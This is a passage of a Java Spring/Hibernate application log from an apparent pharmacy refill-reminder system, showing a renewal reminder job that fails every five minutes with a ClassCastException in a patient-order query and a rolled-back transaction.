org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 